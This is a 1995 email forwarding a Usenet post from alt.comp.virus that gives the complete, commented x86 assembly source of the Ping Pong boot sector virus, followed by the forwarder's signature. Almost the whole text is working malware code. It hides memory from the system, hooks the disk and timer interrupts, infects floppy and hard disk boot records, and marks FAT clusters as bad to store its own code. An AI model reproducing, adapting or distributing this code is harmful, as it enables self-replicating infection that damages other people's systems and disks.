From smtp Tue Feb 7 13:15 EST 1995 Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:15 EST Received: by lynx.dac.neu.edu (8.6.9/8.6.9) id NAA16239 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:17:17 -0500 Date: Tue, 7 Feb 1995 13:17:17 -0500 From: lynx.dac.neu.edu!ekilby (Eric Kilby) Content-Length: 22178 Content-Type: text Message-Id: <199502071817.NAA16239@lynx.dac.neu.edu> To: pobox.jwu.edu!joshuaw Subject: (fwd) Pong Newsgroups: alt.comp.virus Status: O Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm From: danishm@iia.org () Newsgroups: alt.comp.virus Subject: Pong Date: 5 Feb 1995 21:56:02 GMT Organization: International Internet Association. Lines: 624 Message-ID: <3h3hhi$sb@ankh.iia.org> NNTP-Posting-Host: iia.org X-Newsreader: TIN [version 1.2 PL2] Here is the Pong virus: ; ORIGININ ADDRESS -7C00H RAM SEGMENT AT 0 ; SYSTEM DATA ORG 20H INT8OF DW ? ; INTERRUPT 8 OFFSET INT8SG DW ? ; INTERRUPT 8 SEGMENT ORG 4CH INT19O DW ? ; INTERRUPT 19 OFFSET INT19S DW ? ; INTERRUPT 19 SEGMENT ORG 413H RAMSIZ DW ? ; TOTAL RAM SIZE ; BPB OF VIRUS BOOT RECORD ORG 7C0BH BYPSEC DW ? ; BYTES PER SECTOR NUMSEC DB ? ; SECTORS PER ALLOCATION UNIT SECRES DW ? ; RESERVED SECTORS FATNUM DB ? ; NUMBER OF FATS DIRNUM DW ? ; NUMBER OF ROOT DIR ENTRIES SECNUM DW ? ; NUMBER OF SECTORS MEDIAD DB ? ; MEDIA DESCRIPTOR SECFAT DW ? ; NUMBER OF SECTORS PER FAT SECTRK DW ? ; SECTORS PER TRACK HEDNUM DW ? ; NUMBER OF HEADS HIDSEC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER) ; INTERRUPT 19 (13H) BRANCH ADDRESS ORG 7D2AH ORIG19 DW ? ; ORIGINAL INT 19 OFFSET ORG19S DW ? ; ORIGINAL INT 19 SEGMENT ; INSTALLATION DATA AREA ORG 7DF3H CURFAT DW ? ; CURRENT FAT SECTOR CURCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER SWITCH DB ? ; SWITCHES ; - 01H - NESTED INTERRUPT ; - 02H - TIMER INTERRUPT INSTALLED ; - 04H - 16-BIT FAT LSTDRV DB ? ; DRIVE LAST USED REMAIN DW ? ; SECTOR NUMBER OF REST OF CODE RESERV DB ? ; RESERVED SPACE FOR FUTURE HACKING FLAG01 DW ? ; FLAG FIELD ; DATA AREA ORG 7EB0H LASTTM DW ? ; SYSTEM TIME LAST CALLED PRCFAT DB ? ; PROCESSED FAT / 256 ; INTERRUPT 8 BRANCH ADDRESS ORG 7FC9H ORG08O DW ? ; ORIGINAL INT 8 OFFSET ORG08S DW ? ; ORIGINAL INT 8 SEGMENT ; DISPLAY DATA AREA ORG 7FCDH CHARAT DW ? ; CHARACTER AND ATTRIBUTES ROWCOL DW ? ; ROW AND COLUMN POSITIONS ROWCLM DW ? ; ROW AND COLUMN MOVEMENT GRAPHM DB ? ; GRAPHICS MODE SWITCH MODEAP DW ? ; MODE AND ACTIVE PAGE COLUMN DB ? ; VISIBLE COLUMNS - 1 ; BPB OF ORIGINAL BOOT RECORD ORG 800BH BIPSEC DW ? ; BYTES PER SECTOR ALCSEC DB ? ; SECTORS PER ALLOCATION UNIT VERVED DW ? ; RESERVED SECTORS RUMNUM DB ? ; NUMBER OF FATS ROTRID DW ? ; NUMBER OF ROOT DIR ENTRIES NUOSEC DW ? ; NUMBER OF SECTORS MIASET DB ? ; MEDIA DESCRIPTOR FASNUM DW ? ; NUMBER OF SECTORS PER FAT TRASSC DW ? ; SECTORS PER TRACK NUOHED DW ? ; NUMBER OF HEADS HIDESC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER) ORG 81F5H FSTCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER SWITCB DB ? ; SWITCHES - 01H - NESTED INTERRUPT ; - 02H - TIMER INTERRUPT INSTALLED ; - 04H - 16-BIT FAT LASTUS DB ? ; DRIVE LAST USED REMAI2 DW ? ; SECTOR NUMBER OF REST OF CODE LATER2 DB ? ; TYPE SWITCH LATER3 DW 2 DUP (?) ; INSTALLED.. HMMM? RAM ENDS CODE SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CODE,DS:RAM START: JMP HIDE_ME_PLEASE ; BRANCH ROUND BPB TABLE DB 'MSDOS3.2' ; OEM AND VERSION DW 512 ; BYPSEC - BYTES PER SECTOR DB 2 ; NUMSEC - SECTORS PER ALLOCATION UNIT DW 1 ; SECRES - RESERVED SECTORS DB 2 ; FATNUM - NUMBER OF FATS DW 112 ; DIRNUM - NUMBER OF ROOT DIR ENTRIES DW 720 ; SECNUM - NUMBER OF SECTORS DB 0FDH ; MEDIAD - MEDIA DESCRIPTOR DW 2 ; SECFAT - NUMBER OF SECTORS PER FAT DW 9 ; SECTRK - SECTORS PER TRACK DW 2 ; HEDNUM - NUMBER OF HEADS DW 0 ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER) ; START OF PROCESSING ; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA HIDE_ME_PLEASE: XOR AX,AX MOV SS,AX ; STACK SEGMENT ZERO MOV SP,7C00H ; SET STACK POINTER TO START OF BUFFER MOV DS,AX ; DATA SEGMENT ZERO MOV AX,RAMSIZ ; GET TOTAL RAM SIZE SUB AX,2 ; SUBTRACT 2K MOV RAMSIZ,AX ; REPLACE AMENDED RAM SIZE MOV CL,6 ; NUMBER OF POSITIONS TO SHIFT SHL AX,CL ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS) SUB AX,7C0H ; SUBTRACT BUFFER OFFSET MOV ES,AX ; SET TARGET SEGMENT ADDRESS MOV SI,7C00H ; LOAD BUFFER TARGET OFFSET MOV DI,SI ; COPY OFFSET FOR SOURCE MOV CX,0100H ; NUMBER OF WORDS TO MOVE REPZ MOVSW ; DUPLICATE BOOT SECTOR IN HIGH STORAGE ; MOV CS,AX ; LOAD SEGMENT OF NEW LOCATION ; THIS IS THE ILLEGAL OPCODE! DB 08EH, 0C8H ; PREVIOUS COMMAND HARD CODED ; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE PUSH CS ; \ SET DS EQUAL TO CS POP DS ; / CALL SET_IT_UP SET_IT_UP: XOR AH,AH ; INITIALISE DISK SUB-SYSTEM INT 13H ; DISK INTERRUPT AND LSTDRV,80H ; SET ADDRESS FOR HARD DISK MOV BX,REMAIN ; GET SECTOR OF REST OF CODE PUSH CS ; \ GET CURRENT SEGMENT POP AX ; / SUB AX,20H ; ADDRESS BACK ONE SECTOR MOV ES,AX ; SET BUFFER SEGMENT FOR REST OF CODE CALL READ_IT_IN ; READ REST OF CODE MOV BX,REMAIN ; GET SECTOR OF REST OF CODE INC BX ; ADDRESS TO BOOT SECTOR STORE MOV AX,0FFC0H ; WRAP-AROUND ADDRESS (= -400H) MOV ES,AX ; SET BUFFER SEGMENT FOR BOOT SECTOR CALL READ_IT_IN ; READ REAL BOOT SECTOR XOR AX,AX MOV SWITCH,AL ; SET OFF ALL SWITCHES MOV DS,AX ; DATA SEGMENT ZERO MOV AX,INT19O ; SAVE INT 19 OFFSET MOV BX,INT19S ; SAVE INT 19 SEGMENT MOV INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET MOV INT19S,CS ; NEW INT 19 SEGMENT PUSH CS ; \ SET DS EQUAL TO CS POP DS ; / MOV ORIG19,AX ; STORE OLD INT 19 OFFSET MOV ORG19S,BX ; STORE OLD INT 19 SEGMENT MOV DL,LSTDRV ; GET DRIVE NUMBER DB 0EAH ; FAR JUMP TO BOOT SECTOR DW 7C00H, 0 WRITE_IT_OUT: MOV AX,301H ; WRITE ONE SECTOR JMP SHORT GET_SECTOR READ_IT_IN: MOV AX,201H ; READ ONE SECTOR GET_SECTOR: XCHG BX,AX ; MOVE SECTOR NUMBER TO AX ADD AX,HIDSEC ; ADD HIDDEN SECTORS XOR DX,DX ; CLEAR FOR DIVISION DIV SECTRK ; DIVIDE BY SECTORS PER TRACK INC DL ; ADD ONE TO ODD SECTORS MOV CH,DL ; SAVE SECTOR NUMBER XOR DX,DX ; CLEAR FOR DIVISION DIV HEDNUM ; DIVIDE BY NUMBER OF HEADS MOV CL,6 ; POSITIONS TO MOVE SHL AH,CL ; MOVE TOP TWO BITS OF TRACK OR AH,CH ; MOVE IN SECTOR NUMBER MOV CX,AX ; MOVE TO CORRECT REGISTER XCHG CH,CL ; ..AND CORRECT POSITION IN REG MOV DH,DL ; MOVE HEAD NUMBER MOV AX,BX ; RECOVER CONTENTS OF AX BRING_IN: MOV DL,LSTDRV ; GET DRIVE NUMBER MOV BX,8000H ; SET BUFFER ADDRESS INT 13H ; DISK INTERRUPT JNB GO_BACK ; BRANCH IF NO ERRORS POP AX GO_BACK: RET ; INTERRUPT 19 (13H) (DISK) ROUTINE INT_19: PUSH DS PUSH ES PUSH AX PUSH BX PUSH CX PUSH DX PUSH CS ; \ SET DS EQUAL TO CS POP DS ; / PUSH CS ; \ SET ES EQUAL TO CS POP ES ; / TEST SWITCH,1 ; TEST NESTED INTERRUPT SWITCH JNZ PASS_OUT ; EXIT IF ON CMP AH,2 ; TEST FOR READ SECTOR JNZ PASS_OUT ; EXIT IF NOT CMP LSTDRV,DL ; COMPARE DRIVE NUMBER MOV LSTDRV,DL ; SAVE DRIVE NUMBER JNZ INT_SWITCH ; BRANCH IF DIFFERENT THIS TIME ; THIS IS THE ACTIVATION CODE. IT HAS A 'WINDOW' OF JUST LESS ; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH ; TIME A DISK-READ WILL SWITCH IT ON. XOR AH,AH ; GET SYSTEM CLOCK INT 1AH ; SYSTEM CLOCK INTERRUPT TEST DH,7FH ; TEST LOW WORD HIGH BYTE JNZ DO_TIME TEST DL,0F0H ; TEST LOW WORD LOW BYTE JNZ DO_TIME PUSH DX ; SAVE SYSTEM TIME CALL INTERRUPT_08 ; INSTALL SYSTEM CLOCK ROUTINE POP DX ; RECOVER SYSTEM TIME DO_TIME: MOV CX,DX ; COPY SYSTEM TIME SUB DX,LASTTM ; INTERVAL SINCE LAST CALL MOV LASTTM,CX ; SAVE SYSTEM TIME SUB DX,24H ; SUBTRACT 2 SECONDS JB PASS_OUT ; RETURN IF LESS THAN TWO SECONDS INT_SWITCH: OR SWITCH,1 ; SET ON NESTED INTERRUPT SWITCH PUSH SI PUSH DI CALL DISK_INSTALL ; INSTALL ON DISK POP DI POP SI AND SWITCH,0FEH ; SET OFF NESTED INTERRUPT SWITCH PASS_OUT: POP DX POP CX POP BX POP AX POP ES POP DS DB 0EAH ; FAR JUMP TO ORIGINAL INT 19 DW 01FBH ; ORIG19 - ORIGINAL INT 19 OFFSET DW 0C800H ; ORG19S - ORIGINAL INT 19 SEGMENT ; DISK INSTALLATION DISK_INSTALL: MOV AX,201H ; READ ONE SECTOR MOV DH,0 ; HEAD NUMBER 0 MOV CX,1 ; TRACK 0, SECTOR 1 CALL BRING_IN ; READ FIRST SECTOR FROM DISK TEST LSTDRV,80H ; TEST FOR HARD DRIVE JZ FAT_CHECK ; BRANCH IF NOT ; HARD DISK - PARTITION TABLE MOV SI,81BEH ; ADDRESS TO PARTITION TABLE MOV CX,4 ; NUMBER OF ENTRIES IN TABLE NEXT_PART_ENTRY: CMP BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT JZ SNARF_UP_THE_BOOT ; BRANCH IF YES CMP BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT JZ SNARF_UP_THE_BOOT ; BRANCH IF YES ADD SI,10H ; ADDRESS TO NEXT ENTRY LOOP NEXT_PART_ENTRY ; LOOP THROUGH TABLE RET ; HARD DISK - GET BOOT RECORD SNARF_UP_THE_BOOT: MOV DX,[SI] ; GET HEAD NUMBER OF BOOT MOV CX,[SI+2] ; GET TRACK AND SECTOR OF BOOT MOV AX,201H ; READ ONE SECTOR CALL BRING_IN ; GET BOOT SECTOR FOR PARTITION ; BOOT SECTOR PROCESSING FAT_CHECK: MOV SI,8002H ; ADDRESS TO BPB SOURCE MOV DI,7C02H ; ADDRESS TO BPB TARGET MOV CX,1CH ; LENGTH OF BPB REPZ MOVSB ; COPY BPB CMP LATER3,1357H ; IS VIRUS INSTALLED ALREADY JNZ WHERE_BE_THE_FAT ; BRANCH IF NOT CMP LATER2,0 JNB HEAD_EM_OUT MOV AX,FSTCLS ; GET SECTOR NO OF FIRST CLUSTER MOV CURCLS,AX ; SAVE IT MOV SI,REMAI2 JMP PLACE_VIRUS HEAD_EM_OUT: RET ; CALCULATE LOCATION OF FAT AND FIRST CLUSTER WHERE_BE_THE_FAT: CMP BIPSEC,200H ; SECTOR SIZE 512 JNZ HEAD_EM_OUT ; EXIT IF DIFFERENT SIZE CMP ALCSEC,2 ; SECTORS PER CLUSTER JB HEAD_EM_OUT ; EXIT IF LESS THAN 2 MOV CX,VERVED ; GET RESERVED SECTORS MOV AL,RUMNUM ; NUMBER OF FATS CBW ; FILL OUT REGISTER MUL FASNUM ; SECTORS PER FAT ADD CX,AX ; SECTOR OF ROOT DIR MOV AX,20H ; LENGTH OF DIR ENTRY MUL ROTRID ; NUMBER OF DIR ENTRIES ADD AX,1FFH ; ROUND UP TO WHOLE SECTORS MOV BX,200H ; LENGTH OF SECTOR DIV BX ; SECTORS OF ROOT DIR ADD CX,AX ; SECTOR OF FIRST CLUSTER MOV CURCLS,CX ; SAVE THIS MOV AX,SECNUM ; GET NUMBER OF SECTORS SUB AX,CURCLS ; SUBTRACT NON-DATA SECTORS MOV BL,NUMSEC ; GET SECTORS PER CLUSTER XOR DX,DX XOR BH,BH ; CLEAR TOP OF REGISTER DIV BX ; CALCULATE NUMBER OF CLUSTERS INC AX ; ALLOW FOR NUMBER ONE NOT USED MOV DI,AX AND SWITCH,0FBH ; SET OFF 16-BIT FAT SWITCH CMP AX,0FF0H ; SEE IF 12-BIT FAT JBE WRITE_FAT ; BRANCH IF YES OR SWITCH,4 ; SET ON 16-BIT FAT SWITCH WRITE_FAT: MOV SI,1 ; INITIALISE FAT ENTRY COUNT MOV BX,SECRES ; GET RESERVED SECTORS DEC BX ; ALLOW FOR ADDITION MOV CURFAT,BX ; SAVE CURRENT FAT SECTOR MOV PRCFAT,0FEH ; SET PROCESSED FAT LENGTH TO -2 JMP SHORT READ_FAT ; DATA AREA DW 2 ; CURFAT - CURRENT FAT SECTOR DW 12 ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER DB 1 ; SWITCH - SWITCHES ; - 01H - NESTED INTERRUPT ; - 02H - TIMER INTERRUPT INSTALLED ; - 04H - 16-BIT FAT DB 0 ; LSTDRV - DRIVE LAST USED DW 02B8H ; REMAIN - SECTOR NUMBER OF REST OF CODE DB 0 ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING DW 1357H, 0AA55H ; FLAG01 - FLAG FIELD. ; END OF FIRST SECTOR, START OF SECOND ; SEARCH FAT FOR UNUSED CLUSTER READ_FAT: INC CURFAT ; ADDRESS TO NEXT FAT SECTOR MOV BX,CURFAT ; GET NEXT SECTOR NUMBER ADD PRCFAT,2 ; ADD TO PROCESSED FAT LENGTH CALL READ_IT_IN ; READ FAT SECTOR JMP SHORT GET_EM_NEXT FAT_SWITCH: MOV AX,3 ; LENGTH OF TWO FAT ENTRIES TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH JZ FAT_ENTRY ; BRANCH IF OFF INC AX ; FOUR BYTES NOT THREE FAT_ENTRY: MUL SI ; MULTIPLY BY FAT ENTRY NUMBER SHR AX,1 ; DIVIDE BY TWO SUB AH,PRCFAT ; SUBTRACT PROCESSED FAT LENGTH MOV BX,AX ; COPY DISPLACEMENT CMP BX,1FFH ; SEE IF IN THIS SECTOR JNB READ_FAT ; BRANCH IF NOT MOV DX,[BX+8000H] ; GET ENTRY TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH JNZ F_TEST_1 ; BRANCH IF ON MOV CL,4 ; POSITIONS TO MOVE TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY JZ FAT_TOP ; BRANCH IF NOT SHR DX,CL ; SHIFT EVEN ENTRY INTO POSITION FAT_TOP: AND DH,0FH ; SWITCH OFF TOP BITS F_TEST_1: TEST DX,0FFFFH ; TEST ALL BITS JZ MAKE_BAD ; BRANCH IF NONE ON GET_EM_NEXT: INC SI ; NEXT FAT ENTRY CMP SI,DI ; HAS LAST ENTRY BEEN PROCESSED JBE FAT_SWITCH ; BRANCH IF NOT RET ; SPARE CLUSTER FOUND - INSTALL ON DISK MAKE_BAD: MOV DX,0FFF7H ; LOAD BAD SECTOR MARKER TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH JNZ FIND_SECTOR ; BRANCH IF ON AND DH,0FH ; CONVERT MARKER TO FF7H MOV CL,4 ; BITS TO MOVE TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY JZ FIND_SECTOR ; BRANCH IF NOT SHL DX,CL ; MOVE INTO POSITION FIND_SECTOR: OR [BX+8000H],DX ; PUT MARKER INTO FAT MOV BX,CURFAT ; GET SECTOR NUMBER CALL WRITE_IT_OUT ; WRITE FAT SECTOR MOV AX,SI ; GET ENTRY NUMBER SUB AX,2 ; SUBTRACT FIRST CLUSTER NUMBER MOV BL,NUMSEC ; GET SECTORS PER CLUSTER XOR BH,BH ; CLEAR TOP OF REGISTER MUL BX ; CONVERT TO SECTORS ADD AX,CURCLS ; ADD SECTOR NUMBER OF 1ST CLUSTER MOV SI,AX ; SAVE REAL SECTOR NUMBER MOV BX,0 ; SECTOR ZERO CALL READ_IT_IN ; READ BOOT SECTOR MOV BX,SI ; GET OUTPUT SECTOR NUMBER INC BX ; ADDRESS TO NEXT SECTOR CALL WRITE_IT_OUT ; WRITE BOOT SECTOR TO STORE PLACE_VIRUS: MOV BX,SI ; GET OUTPUT SECTOR NUMBER MOV REMAIN,SI ; SAVE SECTOR NO OF REST OF CODE PUSH CS ; \ GET CURRENT SEGMENT POP AX ; / SUB AX,20H ; ADDRESS BACK TO VIRUS (2) MOV ES,AX ; SET BUFFER ADDRESS CALL WRITE_IT_OUT ; WRITE VIRUS (2) PUSH CS ; \ GET CURRENT SEGMENT POP AX ; / SUB AX,40H ; ADDRESS BACK TO VIRUS (1) MOV ES,AX ; SET BUFFER ADDRESS MOV BX,0 ; SECTOR ZERO CALL WRITE_IT_OUT ; WRITE VIRUS (1) RET DW 20CH ; LASTTM - SYSTEM TIME LAST CALLED DB 2 ; PRCFAT - PROCESSED FAT / 256 ; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE INTERRUPT_08: TEST SWITCH,2 ; TEST INT 8 INSTALLED SWITCH JNZ FINISH_TIME ; BRANCH IF ON OR SWITCH,2 ; SET ON INT 8 INSTALLED SWITCH MOV AX,0 ; \ SEGMENT ZERO MOV DS,AX ; / MOV AX,INT8OF ; SAVE INT 8 OFFSET MOV BX,INT8SG ; SAVE INT 8 SEGMENT MOV INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET MOV INT8SG,CS ; NEW INT 8 SEGMENT PUSH CS ; \ SET DS EQUAL TO CS POP DS ; / MOV ORG08O,AX ; STORE OLD INT 8 OFFSET MOV ORG08S,BX ; STORE OLD INT 8 SEGMENT FINISH_TIME: RET ; INTERRUPT 10 DO_VIDEO: PUSH DS PUSH AX PUSH BX PUSH CX PUSH DX PUSH CS ; \ SET DS EQUAL TO CS POP DS ; / MOV AH,0FH ; GET VDU PARAMETERS INT 10H ; VDU INTERRUPT MOV BL,AL ; VDU MODE CMP BX,MODEAP ; TEST MODE AND ACTIVE PAGE JZ CHARACTER_ATTRIB ; BRANCH IF UNCHANGED MOV MODEAP,BX ; SAVE MODE AND ACTIVE PAGE DEC AH ; VISIBLE COLUMNS MOV COLUMN,AH ; SAVE VISIBLE COLUMNS - 1 MOV AH,1 ; GRAPHICS MODE SWITCH ON CMP BL,7 ; TEST FOR TELETYPE MODE JNZ IS_IT_GRAPHICS ; BRANCH IF NOT DEC AH ; GRAPHICS MODE SWITCH OFF IS_IT_GRAPHICS: CMP BL,4 ; TEST FOR GRAPHICS MODE JNB ROW_AND_COLUMN ; BRANCH IF GRAPHICS OR TELETYPE DEC AH ; GRAPHICS MODE SWITCH OFF ROW_AND_COLUMN: MOV GRAPHM,AH ; STORE GRAPHICS MODE SWITCH MOV ROWCOL,101H ; SET ROW AND COLUMN POSITIONS MOV ROWCLM,101H ; SET ROW AND COLUMN MOVEMENT MOV AH,3 ; GET CURSOR ADDRESS INT 10H ; VDU INTERRUPT PUSH DX ; SAVE CURSOR ADDRESS MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS JMP SHORT VIDEO_01 CHARACTER_ATTRIB: MOV AH,3 ; GET CURSOR ADDRESS INT 10H ; VDU INTERRUPT PUSH DX MOV AH,2 ; SET CURSOR ADDRESS MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS INT 10H ; VDU INTERRUPT MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE JNZ WRITE_CHAR ; BRANCH IF NOT MOV AX,8307H ; CHARACTER AND WRITE MODE WRITE_CHAR: MOV BL,AH ; MOVE ATTRIBUTE OR WRITE MODE MOV CX,1 ; ONLY ONCE MOV AH,9 ; WRITE CHARACTER AND ATTRIBUTES INT 10H ; VDU INTERRUPT VIDEO_01: MOV CX,ROWCLM ; GET ROW AND COLUMN MOVEMENT CMP DH,0 ; IS ROW ZERO JNZ VIDEO_02 ; BRANCH IF NOT XOR CH,0FFH ; \ REVERSE ROW MOVEMENT INC CH ; / VIDEO_02: CMP DH,18H ; IS ROW 24 JNZ VIDEO_04 ; BRANCH IF NOT XOR CH,0FFH ; \ REVERSE ROW MOVEMENT INC CH ; / VIDEO_04: CMP DL,0 ; IS COLUMN 0 JNZ VIDEO_05 ; BRANCH IF NOT XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT INC CL ; / VIDEO_05: CMP DL,COLUMN ; IS COLUMN LAST VISIBLE COLUMN JNZ VIDEO_07 ; BRANCH IF NOT XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT INC CL ; / VIDEO_07: CMP CX,ROWCLM ; COMPARE ROW AND COLUMN MOVEMENT JNZ VIDEO_09 ; BRANCH IF CHANGED MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES AND AL,7 ; SWITCH OFF TOP BIT OF CHARACTER CMP AL,3 ; TEST BITS 1 AND 2 JNZ VIDEO_08 ; BRANCH IF OFF XOR CH,0FFH ; \ REVERSE ROW MOVEMENT INC CH ; / VIDEO_08: CMP AL,5 ; TEST BITS 1 AND 3 JNZ VIDEO_09 ; BRANCH IF OFF XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT INC CL ; / VIDEO_09: ADD DL,CL ; NEW COLUMN POSITION ADD DH,CH ; NEW ROW POSITION MOV ROWCLM,CX ; SAVE ROW AND COLUMN POSITIONS MOV ROWCOL,DX ; SAVE ROW AND COLUMN POSITIONS MOV AH,2 ; SET CURSOR ADDRESS INT 10H ; VDU INTERRUPT MOV AH,8 ; READ CHARACTER AND ATTRIBUTES INT 10H ; VDU INTERRUPT MOV CHARAT,AX ; SAVE CHARACTER AND ATTRIBUTES MOV BL,AH ; MOVE ATTRIBUTES CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE JNZ VIDEO_10 ; BRANCH IF NOT MOV BL,83H ; WRITE MODE FOR GRAPHICS VIDEO_10: MOV CX,1 ; ONCE ONLY MOV AX,907H ; WRITE CHARACTER AND ATTRIBUTES INT 10H ; VDU INTERRUPT POP DX ; RESTORE CURSOR ADDRESS MOV AH,2 ; SET CURSOR ADDRESS INT 10H ; VDU INTERRUPT POP DX POP CX POP BX POP AX POP DS DB 0EAH ; FAR JUMP TO ORIGINAL INT 8 DW 0907H ; ORG08O - ORIGINAL INT 8 OFFSET DW 10BDH ; ORG08S - ORIGINAL INT 8 SEGMENT DW 0720H ; CHARAT - CHARACTER AND ATTRIBUTES DW 1533H ; ROWCOL - ROW AND COLUMN POSITIONS DW 01FFH ; ROWCLM - ROW AND COLUMN MOVEMENT DB 0 ; GRAPHM - GRAPHICS MODE SWITCH DW 3 ; MODEAP - MODE AND ACTIVE PAGE DB 4FH ; DW7FD6 - VISIBLE COLUMNS - 1 DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H ; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE CODE ENDS END START -- Eric "Mad Dog" Kilby maddog@ccs.neu.edu The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu Student at the Northeatstern University College of Computer Science "I Can't Believe It's Not Butter"